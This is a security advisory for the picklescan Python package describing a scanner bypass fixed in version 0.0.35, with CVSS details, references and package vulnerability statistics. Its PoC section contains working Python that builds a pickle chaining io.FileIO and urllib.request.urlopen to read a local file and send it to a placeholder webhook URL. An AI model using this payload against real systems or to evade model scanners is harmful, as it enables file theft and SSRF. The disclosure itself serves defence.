picklescan has Arbitrary file read using `io.FileIO`
Summary
Unsafe pickle deserialization allows unauthenticated attackers to read arbitrary server files and perform SSRF. By chaining io.FileIO and urllib.request.urlopen, an attacker can bypass RCE-focused blocklists to exfiltrate sensitive data (example: /etc/passwd) to an external server.
Details
The application deserializes untrusted pickle data. While RCE keywords (os, exec) may be blocked, the exploit abuses standard library features:
-
io.FileIO: Opens local files without using builtins.open.
-
urllib.request.urlopen: Accepts the file object as an iterable body for a POST request.
-
Data Exfiltration: The file content is streamed directly to an attacker-controlled URL during unpickling.
PoC
import pickle, io, urllib.request
class GetFile:
def __reduce__(self):
return (io.FileIO, ('/etc/hosts', 'r'))
class Exfiltrate:
def __reduce__(self):
return (urllib.request.urlopen, ('https://webhook.site/YOUR_UUID_HERE', GetFile()))
with open("bypass_http.pkl", "wb") as f:
pickle.dump(Exfiltrate(), f)
Impact
- Arbitrary file read
Thanks for this library and your time. If you think picklescan is focused on detecting only RCE kind of vulnerabilities rather adding File IO, Http or any protocol based may cause lot of noise, feel free to close this issue.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | picklescan | < 0.0.35 | 0.0.35 |
References
- https://github.com/mmaitre314/picklescan/security/advisories/GHSA-9726-w42j-3qjr
- https://nvd.nist.gov/vuln/detail/CVE-2026-53872
- https://github.com/mmaitre314/picklescan/pull/55
- https://github.com/mmaitre314/picklescan/commit/a01c58d5dd7960db557b849817c0ab83ab111ef1
- https://github.com/mmaitre314/picklescan
- https://github.com/mmaitre314/picklescan/releases/tag/v0.0.35
- https://www.vulncheck.com/advisories/picklescan-arbitrary-file-read-via-unsafe-pickle-deserialization
- https://pypi.org/project/picklescan
- https://github.com/advisories/GHSA-9726-w42j-3qjr
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N- Weakness (CWE)
CWE-22, CWE-918- Platform
- Python (PyPI)
- Package
picklescan- Disclosed
- 08.01.2026
- Updated
- 11.10.2026 13:18
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2026-1787 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-9726-w42j-3qjr - CC BY 4.0
Vulnerability history: picklescan
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 58
- First → latest
- 02.2025 03.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 7
- High 25
- Medium 26
Disclosures per year
- 2025: 51
- 2026: 7
-
picklescan has Arbitrary file read using `io.FileIO` this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.